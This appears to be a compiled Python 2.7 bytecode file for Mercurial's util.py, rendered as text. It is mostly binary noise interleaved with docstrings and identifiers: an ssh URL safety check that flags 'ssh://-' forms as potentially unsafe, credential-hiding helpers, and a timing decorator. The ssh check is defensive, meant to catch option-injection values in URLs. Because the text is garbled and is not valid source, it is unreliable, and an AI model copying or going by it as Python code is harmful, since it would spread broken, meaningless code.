unsafe. sssh://-s svn+ssh://-spotentially unsafe url: %rN(RFtunquoteR{R�RkR(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt checksafesshJs cCs+t|�}|jr!d|_nt|�S(s$hide user credential in a url strings***(R,R5R�(tu((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt hidepasswordYs   cCs&t|�}d|_|_t|�S(s7remove all authentication information from a url stringN(R,RWR�R5R�(RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt removeauth`s cCs'y|j�SWntk r"tSXdS(N(tisattyR�R�(R4((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRUfs g@�@s%.0f ss%.1f ss%.2f ss%.3f sg����MbP?s%.1f mss%.2f mss%.3f msg���ư>s%.1f uss%.2f uss%.3f usg��&� .>s%.1f nss%.2f nss%.3f nscs�fd�}|S(s�Report the execution time of a function call to stderr. During development, use as a decorator when you need to measure the cost of a function, e.g. as follows: @util.timed def foo(a, b, c): pass c s�tj�}d}tdc|7<z�||�SWdtj�|}tdc|8<tjjddtd�jt|�f�XdS(Niis %s%s: %s R�(Rpt _timenestingR R'RfR<t timecount(R1R�R�R�telapsed(R/(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s  ((R/R�((R/s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttimed~s  (�RLti18nRR�R�R�t collectionsRRR�R RbR�RdRpRqR�R�RR�RRFRPtwindowsRjRt cachestatt checkexect checklinkR�texecutablepatht expandglobsRlR�R�tgetusert groupmemberst groupnamet hidewindowtisexectisownerR�t lookupregRQR0R&R"t openhardlinksR�tparsepatchoutputR�tpopenRR�trealpathRNt samedevicetsamefiletsamestatt setbinarytsetflagstsetsignalhandlert shellquoteRR�tsshargsRRt statisexect statislinkt termwidthRtumaskRot unlinkpathtusernametobjectRRR R Rt NameErrorRRR RWR�R%R(R&R+R�R�R4R5R;R�R>RNROR[RxRyR~R�R�RkR�R�R�R�R�R�R�RiR�R�R�R�R�RtcheckosfilenameR RRRRRR,R!R(R.R5R7R�R<RERFRSRXRYR[R]R^R?RyR�R�R�R�R�R�R�R�R�R�R�t bytecountR�R�R�R�R�R�R R RRRRR"R#R%R�R'R+R,RMR=RORQRSRTRURWRVRY(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt<module>s�0HH$                                                                  %         9   '         . "   '&    0   )M L      n   #    &     �